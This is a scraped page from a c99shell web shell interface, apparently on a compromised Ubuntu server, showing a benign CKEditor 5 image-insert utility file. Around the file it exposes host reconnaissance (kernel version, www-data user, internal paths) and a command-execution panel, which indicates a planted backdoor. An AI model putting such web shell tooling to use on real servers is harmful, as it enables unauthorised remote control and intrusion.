Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/queuepro/node_modules/@ckeditor/ckeditor5-image/src/imageinsert/ drwxrwxr-x | |
| Viewing file: Select action/file-type: /**
* @license Copyright (c) 2003-2021, CKSource - Frederico Knabben. All rights reserved.
* For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
/**
* @module image/imageinsert/utils
*/
import { LabeledFieldView, createLabeledInputText } from 'ckeditor5/src/ui';
/**
* Creates integrations object that will be passed to the
* {@link module:image/imageinsert/ui/imageinsertpanelview~ImageInsertPanelView}.
*
* @param {module:core/editor/editor~Editor} editor Editor instance.
*
* @returns {Object.<String, module:ui/view~View>} Integrations object.
*/
export function prepareIntegrations( editor ) {
const panelItems = editor.config.get( 'image.insert.integrations' );
const imageInsertUIPlugin = editor.plugins.get( 'ImageInsertUI' );
const PREDEFINED_INTEGRATIONS = {
'insertImageViaUrl': createLabeledInputView( editor.locale )
};
if ( !panelItems ) {
return PREDEFINED_INTEGRATIONS;
}
// Prepares ckfinder component for the `openCKFinder` integration token.
if ( panelItems.find( item => item === 'openCKFinder' ) && editor.ui.componentFactory.has( 'ckfinder' ) ) {
const ckFinderButton = editor.ui.componentFactory.create( 'ckfinder' );
ckFinderButton.set( {
withText: true,
class: 'ck-image-insert__ck-finder-button'
} );
// We want to close the dropdown panel view when user clicks the ckFinderButton.
ckFinderButton.delegate( 'execute' ).to( imageInsertUIPlugin, 'cancel' );
PREDEFINED_INTEGRATIONS.openCKFinder = ckFinderButton;
}
// Creates integrations object of valid views to pass it to the ImageInsertPanelView.
return panelItems.reduce( ( object, key ) => {
if ( PREDEFINED_INTEGRATIONS[ key ] ) {
object[ key ] = PREDEFINED_INTEGRATIONS[ key ];
} else if ( editor.ui.componentFactory.has( key ) ) {
object[ key ] = editor.ui.componentFactory.create( key );
}
return object;
}, {} );
}
/**
* Creates labeled field view.
*
* @param {module:utils/locale~Locale} locale The localization services instance.
*
* @returns {module:ui/labeledfield/labeledfieldview~LabeledFieldView}
*/
export function createLabeledInputView( locale ) {
const t = locale.t;
const labeledInputView = new LabeledFieldView( locale, createLabeledInputText );
labeledInputView.set( {
label: t( 'Insert image via URL' )
} );
labeledInputView.fieldView.placeholder = 'https://example.com/image.png';
return labeledInputView;
}
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]-- |